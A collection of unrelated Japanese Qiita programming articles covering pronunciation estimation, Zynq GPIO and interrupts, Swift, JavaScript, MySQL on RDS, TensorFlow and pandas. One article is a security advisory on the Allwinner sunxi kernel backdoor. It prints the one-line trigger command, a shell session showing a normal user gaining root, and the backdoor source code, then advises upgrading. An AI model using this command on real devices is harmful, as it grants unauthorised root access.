OmniAICreator/Qiita-1.07M huggingface dataset:
Slearp + mpaligner で発音推定

ちゃお……†

## 動機
MeCabの辞書に英語など外国語を入れると辞書のボリュームが膨大になって辞書のコンパイルに時間がかかるようになってしまいます。
その逆に、新語の発音推定 (読み推定) がしたいという需要もあります。
また、発音推定ができれば一昨年ごろに流行ったコンピュータで575判定するプログラムへの英語対応もできるようになります。

そこで今回は発音推定の一手段を紹介したいと思います。

## アルファベット単語と読みのペアを抽出
[UniDic](https://osdn.jp/projects/unidic/)からアルファベット単語と読みのペアを抽出します。

抽出用スクリプトはこちら↓
https://gist.github.com/ikegami-yukino/40a10a0e9611450b0c2a07ceb94b4b4c

## アラインメント
ここでは [mpaligner](https://osdn.jp/projects/mpaligner/) を使います。
> 自動読み推定（発音推定）のための文字列アライメントツールです．多対多のアライメントを提供します．部分的にアライメントの正解を与える部分的アノテーションやある特定の表記と読みの対応付けを他の対応付けよりも有利にしたり禁止したりできます．また，特殊な表記と読みの対応付け（AAA,トリプルエーなど）を検出する機能があります．
https://osdn.jp/projects/mpaligner/

まずはコンパイルします。

```
$ wget -O mpaligner_0.97.tar.gz "https://osdn.jp/frs/redir.php?m=jaist&f=%2Fmpaligner%2F55255%2Fmpaligner_0.97.tar.gz"
$ tar xzf mpaligner_0.97.tar.gz
$ cd mpaligner_0.97
$ make
```

次に `アルファベット<TAB>読み` 形式のデータをアラインメントします。

```
$ head -n 10 result.tsv
aachen	アーヘン
aaliyah	アリーヤ
aardsma	アーズマ
aardwolf	アードウルフ
aashram	アシュラム
abaca	アバカ
abacavir	アバカビル
abahn	アバン
abandoned	アバンダンド
abbazia	アバッツィア

$ cat ../result.tsv | perl script/separate_for_char.pl utf8 > test.char_unit
$ ./mpaligner -i test.char_unit
```

すると、`test.char_unit.align` というファイルができます。


## 発音推定
発音推定は [Slearp](https://osdn.jp/projects/slearp/) を使います。Slearp は、アラインメント後のデータを学習データとして発音推定モデルを構築し，それを使って発音推定を行うことができます。
なお、Macだとそのままコンパイルできなかったので、ここでは `Makefile` を少しいじってます。

```
$ wget -o slearp_0.96.tar.gz 'http://sourceforge.jp/frs/redir.php?m=jaist&f=%2Fslearp%2F61966%2Fslearp_0.96.tar.gz'
$ tar -xf slearp_0.96.tar.gz
$ cd slearp_0.96_noParallel
$ sed -i -e 's/$(HED)//g' Makefile
$ make
```

コンパイルできたら、先ほどの`test.char_unit.align`から発音推定モデルを作ります。

```
$ ./slearp -t test.char_unit.align
```

すると、`test.char_unit.align.ssmcw.ploss.C1000.b0.01.initVar1.trainNbest5.beam50.Context.Chain.11cngram.Joint.6jngram.sc0.11` みたいな名前のファイルと `test.char_unit.align.ssmcw.ploss.C1000.b0.01.initVar1.trainNbest5.beam50.Context.Chain.11cngram.Joint.6jngram.sc0.rule` みたいな名前のファイルができます。前者は読み推定モデルファイルで、後者はルールファイルです。読み推定するときは、この2つのファイルを使います。

```
$ cat unlabeled.txt
c a l i g a r i
b u c k - t i c k
g l a y

$ slearp -r {モデルファイル} -rr {ルールファイル} -e unlabeled.txt
set options are showed in the follows.
-r: {モデルファイル}
-rr: {ルールファイル}
-e: unlabeled.txt
Start to read conversion rule.
Start to read model.
Start to evaluate model.
c:a|l:i|g:a|r:i|	カ|リ|ガ|リ|
b:u|c|k|-|t|i|c|k|	バ|ッ|ク|_|テ|ィ|ッ|ク|
g|l:a|y|	グ|レ|ー|
```

1文字ごとにスペースを挿入したファイルを与えると推定結果が出力されます。
Zybo > Chronicles blog 13 > xparameters_ps.h > the interrupt ID, which is provided by xparameters_ps.h.

MicroZed Chronicles リスト http://adiuvoengineering.com/?page_id=285
@ Adam Taylor blog

https://forums.xilinx.com/t5/Xcell-Daily-Blog/More-About-MicroZed-Interrupts-Adam-Taylor-s-MicroZed-Chronicles/ba-p/398357

> we need to know the hardware ID parameters for the on-chip devices we wish to use. For this example, those devices are the GIC and GPIO. These parameters are provided mostly within the BSP header file xparameters.h with the exception of the interrupt ID, which is provided by xparameters_ps.h. There is no need to declare this header file within your source code; it is included by the xparameters.h file.

xparameters_ps.hにて定義されているが、xparameters_ps.h自体がxparameters.hにてincludeされている。

```
#define GPIO_DEVICE_ID             XPAR_XGPIOPS_0_DEVICE_ID
#define INTC_DEVICE_ID             XPAR_SCUGIC_SINGLE_DEVICE_ID
#define GPIO_INTERRUPT_ID    XPS_GPIO_INT_ID
```
Zynq > Xscugic.h > drivers for GIC (General Interrupt Controller) configuration and use // SCU: Snoop Control Unit

MicroZed Chronicles リスト http://adiuvoengineering.com/?page_id=285
@ Adam Taylor blog

https://forums.xilinx.com/t5/Xcell-Daily-Blog/More-About-MicroZed-Interrupts-Adam-Taylor-s-MicroZed-Chronicles/ba-p/398357

- Xparameters.h – defines processor device IDs
- XGPIOS.h – drivers for GPIO configuration and use
- Xscugic.h – drivers for GIC (General Interrupt Controller) configuration and use
- Xil_exception.h – exception functions for the ARM Cortex-A9 processor


Xscugic.hのscuは何かが気になる。

http://www.xilinx.com/company/terms.htm

> SCU
Snoop Control Unit in a Zynq-7000 All Programmable SoC.

Snoop Controlが実際に何をするかは今後読む資料で勉強することになる。
Zybo > Chronicles blog 12 > GIC / Generic Interrupt Controller > Software-Generated Interrupts / Shared Peripheral Interrupts / Private Peripheral Interrupts

MicroZed Chronicles リスト http://adiuvoengineering.com/?page_id=285
@ Adam Taylor blog

https://forums.xilinx.com/t5/Xcell-Daily-Blog/MicroZed-Interrupts-Adam-Taylor-s-MicroZed-Chronicles-Part-12/ba-p/397929

> Consequently, the dual-core Xilinx Zynq All Programmable SoC uses an ARM Generic Interrupt Controller (GIC) to process interrupts, which can come from:


- Software-Generated Interrupts – 16 for each processor. Software-generated interrupts can interrupt themselves and either or both processors.
- Shared Peripheral Interrupts – 60 in total. These interrupts can come from the I/O Peripherals in the Zynq SoC’s Processor System (PS) or from the Programmable Logic (PL) side of the device. The two ARM Cortex-A9 MPCore CPU’s share these interrupts.
- Private Peripheral Interrupts – 5 interrupts, which are <font color-red>private to each CPU</font> (e.g. CPU timer, CPU watchdog timer, and dedicated PL-to-CPU interrupt).
Zybo > Chronicles blog 10 > xgpiops.h / 使用例 > Macros and functions required to drive the IO are defined with

MicroZed Chronicles リスト http://adiuvoengineering.com/?page_id=285
@ Adam Taylor blog

https://forums.xilinx.com/t5/Xcell-Daily-Blog/Driving-the-Zynq-SoC-s-GPIO-Adam-Taylor-s-MicroZed-Chronicles/ba-p/389611

## xgpiops.h

> Macros and functions required to drive the IO are defined with the file xgpiops.h, which is available under the BSP include files. This file contains the needed configuration and initialization functions for the Zynq SoC’s GPIO, along with functions to support reading from and writing to the GPIO, which is after all what we are most interested in.

## 使用例

### 定義など
```.c
#include "xgpiops.h"
#define ledpin 47

XGpioPs Gpio;

int Status;
XGpioPs_Config *GPIOConfigPtr;
```

XGpioPsで検索するともれなくXGpioPs_Configも検索されるというBad naming。
ソールリーディングがしにくくなるので、XGpioPSをXGpioPs_typeのような別名にマクロ定義するなどした方がいいのだろうか。

### 初期化
```.c
//GPIO Initilization
GPIOConfigPtr = XGpioPs_LookupConfig(XPAR_PS7_GPIO_0_DEVICE_ID);
Status = XGpioPs_CfgInitialize(&Gpio, GPIOConfigPtr, GPIOConfigPtr ->BaseAddr);
if (Status != XST_SUCCESS) {
  return XST_FAILURE;
}
```

### 方向設定と書込み

```.c
XGpioPs_SetDirectionPin(&Gpio, ledpin, 1);
XGpioPs_SetOutputEnablePin(&Gpio, ledpin, 1);
 
XGpioPs_WritePin(&Gpio, ledpin, 0x0);
```

### 読込み

```
XGpioPs_ReadPin(&Gpio, INPUT_PIN);
```
jsdo.itでbox2dweb

#概要
jsdo.itでbox2dweb、やってみた。
box2dwebは、2次元で剛体(形と質量のある物体)の物理的なシミュレーションを行うためのライブラリです。
#実際
http://jsdo.it/ohisama1/4rBL
このリンクに、27個のサンプルあります。
#写真
![box2d.JPG](https://qiita-image-store.s3.amazonaws.com/0/18104/374ca056-d261-ff21-002d-d09ce6b18e19.jpeg)
技術英語 > FreeRTOS over the years [has increased in popularity] / gain ground

@ Adam Taylor MicroZed Chronicles - Using the Zynq 101 [Kindle Edition]
No. 1771/2129

> FreeRTOS over the years <font color=red>has increased in popularity</font>

<hr>
関連して思い出したのは

> gain ground

http://eow.alc.co.jp/search?q=gain+ground

> 1. しっかりした足掛かりを得る、勢いを得る、確実な地歩を得る［築く］、立場が強固なものとなる、支持率を上げる、優勢になる、陣地を確保する

過去にLOEで聞いたことがある。
クラス(コンストラクタの宣言)


##コンストラクタ

###コンストラクタとは
> クラスからオブジェクトが作成される時に自動的に呼び出されるメソッド。
> 初期値の設定などに活用されます。

###initでコンストラクタを宣言する

``` MyClass.swift
import Foundation

class MyClass {
    
    var value :String
    
    // 引数なし
    init() {
        value = ""
    }
    
    // 引数あり
    init(txt :String) {
        self.value = txt
    }
    
    // 設定値の表示
    func show() {
        print("設定値:" + value)
    }
}
```

###オブジェクトを生成する

``` ViewController.swift
import UIKit

class ViewController: UIViewController {
    
    let myClass1 = MyClass()
    let myClass2 = MyClass(txt :"text")
    
    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view, typically from a nib.
        
        myClass1.show()
        myClass2.show()
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }
}
```
NSNumberFormatterを使って数字にカンマ(,)の設定・削除


##事前準備
NSNumberFormatterを使って数字をカンマ区切りに変換します

```

// 書式スタイルを指定
g_nsNumberFormatter.numberStyle = NSNumberFormatterStyle.DecimalStyle
g_nsNumberFormatter.groupingSeparator = "," // 区切り文字
g_nsNumberFormatter.groupingSize = 3        // 区切り位置

```

##カンマを設定する

```
func addComma(value :Int) -> String{
        
	return g_nsNumberFormatter.stringFromNumber(Double(value))!
        
}

```

##カンマを削除する

```
func removeComma(value :String) -> Int {
        
	let tmp = value.stringByReplacingOccurrencesOfString(
		",",
		withString: ""
	)
        
	return Int(tmp)!
        
}
```

##サンプル
```ViewController.swift
import UIKit

class ViewController: UIViewController {
    
    // NSNumberFormatterクラスをインスタンス化する
    let g_nsNumberFormatter = NSNumberFormatter()
    
    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view, typically from a nib.
        
        var number = 10000
        var number2 :String
        
        // 書式スタイルを指定
        g_nsNumberFormatter.numberStyle = NSNumberFormatterStyle.DecimalStyle
        g_nsNumberFormatter.groupingSeparator = "," // 区切り文字
        g_nsNumberFormatter.groupingSize = 3        // 区切り位置
        
        print("初期値:" + String(number))
        // カンマを設定
        number2 = addComma(number)
        
        print("設定後:" + number2)
        // カンマを削除
        number = removeComma(number2)
        
        print("削除後:" + String(number))
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }
    
    func addComma(value :Int) -> String{
        
        return g_nsNumberFormatter.stringFromNumber(Double(value))!
        
    }
    
    func removeComma(value :String) -> Int {
        
        let tmp = value.stringByReplacingOccurrencesOfString(
            ",",
            withString: ""
        )
        
        return Int(tmp)!
        
    }

}
```

##リンク
[Mac Developer Library(NSNumberFormatter) 英語版](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSNumberFormatter_Class/ "Mac Developer Library")
RDSのMySQLでトリガーを使いたい

# RDSのMySQLでトリガーを使えるようにする
##エラー内容 
MySQLインスタンス作成時に作るユーザでトリガーを使うと以下のエラーが出る

```
ERROR 1419 (HY000): You do not have the SUPER privilege and 
binary logging is enabled (you *might* want to use the less 
safe log_bin_trust_function_creators variable)
```

RDSのMySQLではデフォルトでbinlogに出力する設定となっており、
さらにSUPERの権限を持っているユーザを使えないのでエラーとなる。

## 解決法
パラメータグループを変更する必要がある
グローバル変数の`log_bin_trust_function_creators`のvalueを`1`に変更することで使えるようになる。
`Apply Type`が`dynamic`なので再起動は不要で変更可能。

![スクリーンショット 2016-05-14 6.47.11.png](https://qiita-image-store.s3.amazonaws.com/0/63733/996d8977-4188-f3b3-beb5-0aecca0e9bb0.png)
TiarraでSSLを使う

IRC Proxyの[Tiarra](http://www.clovery.jp/tiarra/)でIRCサーバーがSSLの時のメモ。

と言っても以下にズバリな記事があり、これを参考にやってみました。

[Tiarra over SSL without stone](https://mumumu.github.io/blog/2013/12/24/tiarra-over-ssl/)

上記記事にも書いてあるようにTiarraではSSL対応されたものが既にあり、それを使って設定を行えば良いだけです。

TiarraのSSL対応されたものは以下のSVNサーバーからexportする事ができます。

```bash
$svn export http://svn.coderepos.org/share/lang/perl/tiarra/trunk/
```

あとはSSLを使うための設定を追記します。

```tiarra.conf
irc-server
  #  IP アドレスを指定すると名前解決が行われてエラーになる
  #  その場合は hosts の類に名前を書いてあげて、それを指定
  #  するようにする
  host: irc.hogefuga.net
  port: 7000

  ssl {
      version: sslv23
      ca-path: /etc/ssl/certs
  }
```

細かい設定は以前内容を書いたのでこちらを参照ください。

[IRCでボット作ったり、ログをTiarraで取得したり](http://qiita.com/toshihirock/items/bcb68d5c1f297926ece5)


詳しい内容はall.confに記述例があるのでSSLの部分を抜粋して貼っておきます。

```all.conf
freenode-ssl {
  server: chat.freenode.net 7000 7070

  ssl {
    # SSL バージョン。必須。 sslv2, sslv23, sslv3, tlsv1 がある。
    # これが定義されているときのみ SSL 接続を行います。
    version: sslv23

    # 利用可能な暗号のリスト。 openssl ciphers 参照
    #cipher-list: ...

    # CA 鍵リストファイル。
    # verify (デフォルト有効)を行う場合は ca-file か ca-path の
    # どちらかを必ず指定してください。
    #ca-file: /usr/local/share/certs/ca-root-nss.crt

    # CA 鍵パス
    # verify (デフォルト有効)を行う場合は ca-file か ca-path の
    # どちらかを必ず指定してください。
    #ca-path: /etc/ssl/certs

    # 証明書の照合を行う(デフォルト有効)
    #verify: yes

    # ホスト名の照合を行う (デフォルト有効)
    #verify-hostname: yes

    # CRL のチェックを行う (デフォルト無効)
    #check-crl: no

    # 以下は必要な場合のみ指定してください

    # クライアント証明書を使う (デフォルト無効)
    #use-cert: no

    # クライアント証明書ファイル
    #cert-file: ...

    # クライアント鍵ファイル
    #key-file: ...

    # dhparam ファイル
    #dh-file: ...
  }
    
```
新しく開いた別ウィンドウの準備ができたらファンクションを呼び出す

別ウィンドウを新しく開き、そのページのJavaScriptファンクションを呼び出そうとしたが、呼び出しを行った時点でページのロードが完了していないためにファンクションの呼び出しがエラーになってしまうことがあった。ファンクションの呼び出しをする前に呼び出し可能(ファンクションが`undefined`ではない)かどうかを確認し、呼び出し可能でなければ待つようにした。

```jsp:delay.jsp
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>delay.jsp</title>
</head>

<body>
  <form>
    <input type="button" value="start" onclick="openAndCall();">
  </form>

<script>
  function callProcIfConditionChangedGood(proc, interval, limit, condition) {
    var count = 0;
    var callback = function() {
      if (condition()) {
        proc();
        return;
      }
      count++;
      if (count >= limit) {
        alert('timeout');
        return;
      }
      window.setTimeout(callback, interval * 1000);
    };
    callback();
  }
  
  function openAndCall() {
    var win = window.open('delay.jsp?delay=10', '_blank', 'width=160,height=90');
    callProcIfConditionChangedGood(
      function() {
        win.ready();
      },  // proc
      1,  // interval
      30, // limit
      function() {
        return win.ready != undefined;
      }   // condition
    );
  }
  
  function ready() {
    alert("Yes READY");
  }
</script>
</body>
</html>
<%
  try {
    long delay = Long.parseLong(request.getParameter("delay"));
    Thread.sleep(delay * 1000);
  }
  catch (Exception ignore) {}
%>
```
tensorflowでargmaxになる複数のインデックスを取得する


備忘録。
通常のargmaxを使用すると、singleのindexしか取得する事が出来ない。
そこで、argmaxになるような複数のindexを取得出来るようにする。

```
import tensorflow as tf
a = tf.constant(np.array([1,2,9,2,1,9]))

sess = tf.Session()
sess.run(tf.squeeze(tf.where(tf.equal(a,tf.reduce_max(a,0)))))
```

簡単に解説
tf.reduce_maxでarray内のmaxを取得する
\# 9

tf.equalで、array内のmaxの値とarrayの値をそれぞれ比較する([False,False,True,False,False,True]になる)
\# array([False, False,  True, False, False,  True], dtype=bool)

tf.whereで、Trueであるindicesを取得する
\# array([[2],[5]])
       
tf.squeezeで、dimensionを減らす
\# array([2, 5])

ちなみにnumpyだと
```
import numpy as np 
a = np.array([1,2,9,2,1,9])
print np.squeeze(np.where(np.equal(a,np.max(a,0))))
```
ESMじゃんけん大会


トーナメントは、参加者数が2の累乗なら、1戦毎に2要素ずつ見て勝者を新しい配列に入れていけば良い。
問題は2の累乗でない場合。2の累乗に満たない数を求め(nil_size)、参加者を「上からnil_size人」と「それ以外」に分ける。「それ以外」に、「上からnil_size人」にいない人をnil_size人加えてリフルシャッフルしたもの、を結合してトーナメント表にすると良い。
実際には実装の都合上配列を逆順にし右からnil_size人に読み替える。

ちなみに、このトーナメント作成方法はCodeIQ [デスコロC](https://codeiq.jp/magazine/2016/03/38212/)で採用されている[方法](https://github.com/cielavenir/deathma_tournament)である。

実装時間自体は10分。問題見てから実装開始までの時間は聞かないで〜＾＾；

しかし。TypeScriptやGoだと実装しにくい方針のような気もします。

PS. String#[]に少し気を遣ったので、Ruby 1.8でも動きそう?未確認ですが。

```rb:tyama_esm3.rb
#!/usr/bin/env ruby
#http://qiita.com/kunitoo/items/d39c5337d400ad53f224
#https://gist.github.com/kunitoo/76b1d56cc6ffeef9bb62

def battle(x,y)
	(x.size*y.size).times{|i|
		if x[i%x.size]!=y[i%y.size]
			if x[i%x.size]==?R
				return y[i%y.size]==?S ? x : y
			elsif x[i%x.size]==?S
				return y[i%y.size]==?P ? x : y
			elsif x[i%x.size]==?P
				return y[i%y.size]==?R ? x : y
			end
		end
	}
	y
end

if __FILE__==$0
	while gets
		#participants生成方法はデスマコロシアム(デスコロC)を流用するため、dataは降順である必要がある
		data=$_.chomp[1..-2].split(')(').reverse
		num=1
		num*=2 while num<data.size
		nil_size=num-data.size

		participants=data[0..-nil_size-1]+(nil_size==0 ? [] : (data[-nil_size..-1]+[nil]*nil_size).each_slice(nil_size).to_a.transpose.flat_map{|e|e})
		while participants.size>1
			participants_next=[]
			participants.each_slice(2){|x,y|
				if y
					participants_next<<battle(x,y)
				else
					participants_next<<x
				end
			}
			participants=participants_next
		end
		puts '('+participants[0]+')'
		STDOUT.flush
	end
end
```
Armbianのカーネル3.4で見つかったバックドアについて

このバックドアがあると、どのプロセスでも、どのUIDでも`/proc`にアクセス権さえあれば`echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug`というコマンドを実行することで、rootユーザーになれるようです。つまりネットワーク上に公開しているサービスで条件を満たしていれば、リモートからrootでコマンドを実行できる可能性があるということにもなります。確認方法は[こちら](https://github.com/friendlyarm/h3_lichee/issues/1)(以下抜粋):

```
tk@bananapim3:~$ id
uid=1000(tk) gid=1000(tk) groups=1000(tk),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev)
tk@bananapim3:~$ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
tk@bananapim3:~$ id
uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev),1000(tk)
```

問題のコードは[こちら](https://github.com/allwinner-zh/linux-3.4-sunxi/blob/55599b8209bb7150140e4d45ef460dbff6c876dd/arch/arm/mach-sunxi/sunxi-debug.c#L41-L52)(以下抜粋):

```
        if(!strncmp("rootmydevice",(char*)buf,12)){
                cred = (struct cred *)__task_cred(current);
                cred->uid = 0;
                cred->gid = 0;
                cred->suid = 0;
                cred->euid = 0;
                cred->euid = 0;
                cred->egid = 0;
                cred->fsuid = 0;
                cred->fsgid = 0;
                printk("now you are root\n");
        }
```

このコードを作ったAllwinnerのコメントは[こちら](https://github.com/allwinner-zh/linux-3.4-sunxi/issues/17)(以下抜粋):

>Allwinner Technology committed to resolving Linux Kernel software issue
>
>Zhuhai, China - Allwinner Technology.Co.Ltd (SHE: CN:300458) is working with its device manufacturers to fix a current software issue. We are aware that code, which was supplied to device manufacturers for the purpose of developing products, should have been removed prior to shipping. We recommend that anyone who is concerned about this issue should contact the relevant device manufacturer.
>
>In relation to the source code on Github, it is released for the open source community only and not for shipping certain devices. Since a debugging function is not needed it has subsequently been removed.
>
>Allwinner is committed to producing quality SoC’s with security a key priority. We are currently working hard to address this issue and revising our current processes so we can continue to evolve our range of SoC’s in the future.

apt-get update/upgradeで対応できるとのことなので、対応が必要な方はお早めに。

>  the fix is also in Armbian's apt repo so please upgrade now (apt-get update/upgrade or start with a fresh OS image) if you're affected!
> -- [Armbian - Security Alert for Allwinner sun8i (H3/A83T/H8)](http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/%27)より
pandasのDataFrameでindexが重複した行を削除する

ものすごく単純なはずなのに長時間詰まったのでメモ

例えば，

                               data
    2016-02-04 01:00:00+00:00   1
    2016-02-04 01:00:00+00:00   1                  
    2016-02-04 01:30:00+00:00   2
    2016-02-04 01:30:00+00:00   2     
    2016-02-04 02:00:00+00:00   3

みたいなDataFrame df があった場合

    grouped = df.groupby(level=0)  
    df2 = grouped.last() 

で

                               data
    2016-02-04 01:00:00+00:00   1                 
    2016-02-04 01:30:00+00:00   2   
    2016-02-04 02:00:00+00:00   3


が得られる．
配列からランダムで値を取り出すを使用したお昼ご飯アプリ


![4be5ce46bc9d01604a4faa149533f939.png](https://qiita-image-store.s3.amazonaws.com/0/20635/4c1fa248-0de5-9a6b-1469-fa12e4c95702.png)


[あれ、いつも書いてるな～というJavaScript の小技集](http://bashalog.c-brains.jp/14/03/05-100000.php)の、記事にあった「配列からランダムで値を取り出す」を使用して、お昼ご飯アプリを作りました。

##以下、意識してコードを書く
- 動くアプリを作る
- 書いたコードを理解
- 機能またはデザインを追加
- 成果物は、ネット上にあげる
- 非効率的な部分をリファクタリング


```lang:html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>lunch_app</title>
    <link rel="stylesheet" href="./09_lunch.css">
    <script src="//code.jquery.com/jquery-2.1.3.min.js"></script>
</head>
<body>
    <input type="button" value="ボタン" id="btn">
    <p>本日のお昼は............</p>
    <h2></h2>
    <h1></h1>
<script>
$(document).ready(function(){

    $("#btn").on("click", function(){   
     
        //食事の種類
        var kind = ["和食(◉◞౪◟◉)","洋食(⊙◞౪◟⊙)","コンビニ☭(;´༎ຶД༎ຶ`)☭ "];
        var random = Math.floor(Math.random () * 3);
        
        var w = ["牛丼!!","ラーメン!!","寿司!!"];
        //w配列からランダムで値を取り出す
        var wRandam = w[Math.floor(Math.random () * w.length)];        
        var y = ["ピザ!!","パスタ!!","カレー!!"];
        //y配列からランダムで値を取り出す
        var yRandam = y[Math.floor(Math.random () * y.length)];
        var k = ["パン!!","おにぎり!!","うまい棒!!"];
        //k配列からランダムで値を取り出す
        var kRandam = k[Math.floor(Math.random () * k.length)];
   
        //和食の処理結果
        if(random == 0){
            $("h2").text(kind[0]);
            $("h1").text(wRandam);
        //洋食の処理結果
        }else if(random == 1){
            $("h2").text(kind[1]);
            $("h1").text(yRandam);
        //コンビニの処理結果
        }else{
            $("h2").text(kind[2]);
            $("h1").text(kRandam);
        }
    })

});   
</script>    
</body>
</html>
```

```lang:css
#btn{
    font-weight: bold;
    padding: 10px 30px;
    background-color: black;
    color: #fff;
    border-style: none;
    -moz-border-radius: 5px;
    -webkit-border-radius: 5px;
    border-radius: 5px;
}

p{
    color:black;
    font-weight: bold;
    font-size: 19px;
    padding: 50px;
}

h2{
    color:blue;
    font-weight: bold;
    font-size: 120px;
    margin: 50px
}

h1{
    color: deeppink;
    font-weight: bold;
    font-size: 350px;
    margin: 50px
}
```
24歳からオブジェクト指向言語を学習してみた#1

# 経緯のご紹介
皆さん初めまして。社会人も3年目、自分の頭で考え、仕事をこなさなくてはいけない年齢となりました。
実は私、社会人1年半の頃に転職を経験しており、前職では**一切プログラミングをしない気楽な生活**を送っておりました。
というもの、**『GeneXus』という超高速開発ツール**（笑）の専任担当として生け贄にされたからです。
※ GeneXusについては後ほど記事を書きたいと思っております。

某外資へ転職後、待ち受けていたのはシステム改修の案件
言語はPL/SQLとJava、そしてシェルスクリプト…
どれもこれも未経験で右も左も分からず。しかも一人でやってくれという無茶振り。
当然上司は忙しく私に構っている暇もないという状態。

PL/SQLやシェルはなんとなく、感覚が分かる。が、
Javaだけはどうしても理解ができない。まずオブジェクト指向って何？ってところから分からない。
納期までに理解するには…人に見られている状態で追いつめられながら勉強するしかない。

そもそも文系出身の新入社員の方とか、苦労していないんだろうか？
私が備忘録を残すことで少しでもお役に立てないだろうか？

そんな経緯でこの記事を執筆することにしました。
Qiita自体初めてなのでこんな低レベルの投稿をしていいのか分かりませんが。

▽読み飛ばした方向け▽
1. IT企業に就職するもノン・プラグラミング生活
2. 転職を期に、Javaの改修をやることになった
3. 全然理解できない
4. ヤバイ、勉強しなきゃ←いまここ

# まず、何から始めようか？
wikipedia先生に『オブジェクト指向』って何かを訪ねてみました。
すると、このような答えを返してくれました。

>オブジェクト指向（オブジェクトしこう）とは、オブジェクト同士の相互作用として、システムの振る舞いをとらえる考え方である。英語の object-oriented (直訳は、「対象物志向の」「目的重視の」という意味の形容詞) の日本語訳である。
オブジェクト指向の枠組みが持つ道具立ては、一般的で強力な記述能力を持つ。複雑なシステム記述、巨大なライブラリ（特に部品間で緊密で複雑な相互関係を持つもの）の記述においては、オブジェクト指向の考え方は必須である。

出展：
https://ja.wikipedia.org/wiki/%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E6%8C%87%E5%90%91


・・・・え？
これで理解できる人がいるの？

私だけが理解できていないなら諦めますけど、、
既に理解している人にとっては簡潔な説明なんだろうけど、、
初学者にとっては日本語でおｋですよね？

内容を読んでも意味が分かりませんでした。詰み。

# 参考になりそうなサイトを探してみた
wikipedia先生に聞いてもわからなかった私が次に取った行動は、
『オブジェクト指向　入門』でぐぐること。

そして見つけました。
**Javaのオブジェクト指向入門**
http://www.kab-studio.biz/Programing/OOPinJava/

もう私のために用意されたようなサイトですね。
目次を読んでも意味が分かりませんが、とりあえずこのサイトを元に勉強を進めていくことにします。
大いに参考にすることとなりそうですので、
念のため、このサイトの作者様にコンタクトを取ってみて許可が出たら進めていきたいと思います。

# さいごに
今日はなんの成果も得られていませんが、作者様からの回答を得次第、
次回の投稿をしたいと思います。
同じように苦悩している新入社員の方がいたら是非「俺はこうやったぜ！」みたいな知恵をご教授下さい。

ちなみに、Qiitaを始めるきっかけですけども、今の職場で隣に座っている院卒2年目の方が
意味分からんぐらいPC関連に詳しい。歩くPCみたいな人です。家がデータセンターだし。
正直、危機感を覚えているので勉強しなきゃいけねえなと思ったからです。
（ちなみにその人Qiitaをやっているので、バレなきゃいいなあ）
Expression Template による型ベース遅延評価

## Expression Template
Expression Templateとは、型ベースで遅延評価を行うトリックです。もともとはC++のTemplateでのテクニックなのですが、シンプルですが、Swiftでもそれっぽいことができたので、一応記事としてあげておきます。
swiftではTemplateではなくGenericsなので、Expression Genericsとでも呼んだほうが良いかもしれませんね。

## コード
文章よりまずコードを紹介します。

```swift

import Foundation

protocol Applicable {
    static func apply(a: Double, _ b: Double) -> Double
}
protocol Evaluatable {
    func eval() -> Double
}

struct Constant : Evaluatable {
    let value: Double
    func eval() -> Double {
        return value
    }
}

struct OpAdd : Applicable {
    static func apply(a: Double, _ b: Double) -> Double {
        return a + b
    }
}
struct OpMul : Applicable {
    static func apply(a: Double, _ b: Double) -> Double {
        return a * b
    }
}


struct Expr<L: Evaluatable, Op: Applicable, R: Evaluatable> : Evaluatable {
    let a: L
    let b: R
    func eval() -> Double {
        return Op.apply(a.eval(), b.eval())
    }
}

func +<L: Evaluatable, R: Evaluatable>(a: L, b: R) -> Expr<L, OpAdd, R> {
    return Expr(a: a, b: b)
}

func *<L: Evaluatable, R: Evaluatable>(a: L, b: R) -> Expr<L, OpMul, R> {
    return Expr(a: a, b: b)
}

let expr = Constant(value: 1.0) + Constant(value: 2.0) * Constant(value: 3.0);

print(expr)
print(expr.eval())

```

## 実行結果

```
Expr<Constant, OpAdd, Expr<Constant, OpMul, Constant>>(a: ExpressionTemplate.Constant(value: 1.0), b: ExpressionTemplate.Expr<ExpressionTemplate.Constant, ExpressionTemplate.OpMul, ExpressionTemplate.Constant>(a: ExpressionTemplate.Constant(value: 2.0), b: ExpressionTemplate.Constant(value: 3.0)))
7.0
```

・・・なにやら型が複雑になっていますが、メンバ変数は一旦無視して、型情報だけ着目してみましょう。

```

Expr<
  Constant, 
  OpAdd, 
  Expr<
    Constant, 
    OpMul, 
    Constant
  >
>

```

もうお分かりかもしれませんが、**型が式木になっています**
そう、exprを作り上げるときに、+ や * によって計算しているように見えますが、
実はこれは計算方法を型で定義していた、というわけです。
そしてevalで初めて再帰的に評価されるトリックになっています。
Swiftにはlazy varとか、autoclosureとか、Generatorとか色々ありますが、
たまにはこういった変わり種もまあ面白いかなぁと思います。

```swift

let expr = Constant(value: 1.0) + Constant(value: 2.0) * Constant(value: 3.0) * Constant(value: 3.0) + Constant(value: 3.0) * Constant(value: 2.0);
print(expr)

```

などとガンガンつなげても、

```

Expr<Expr<Constant, OpAdd, Expr<Expr<Constant, OpMul, Constant>, OpMul, Constant>>, OpAdd, Expr<Constant, OpMul, Constant>>

```

ガンガン複雑な型になります。楽しい。
Androidアプリ開発の中身はこうなっている。

初歩的なことについて書いていきます。主にフォルダ構造。

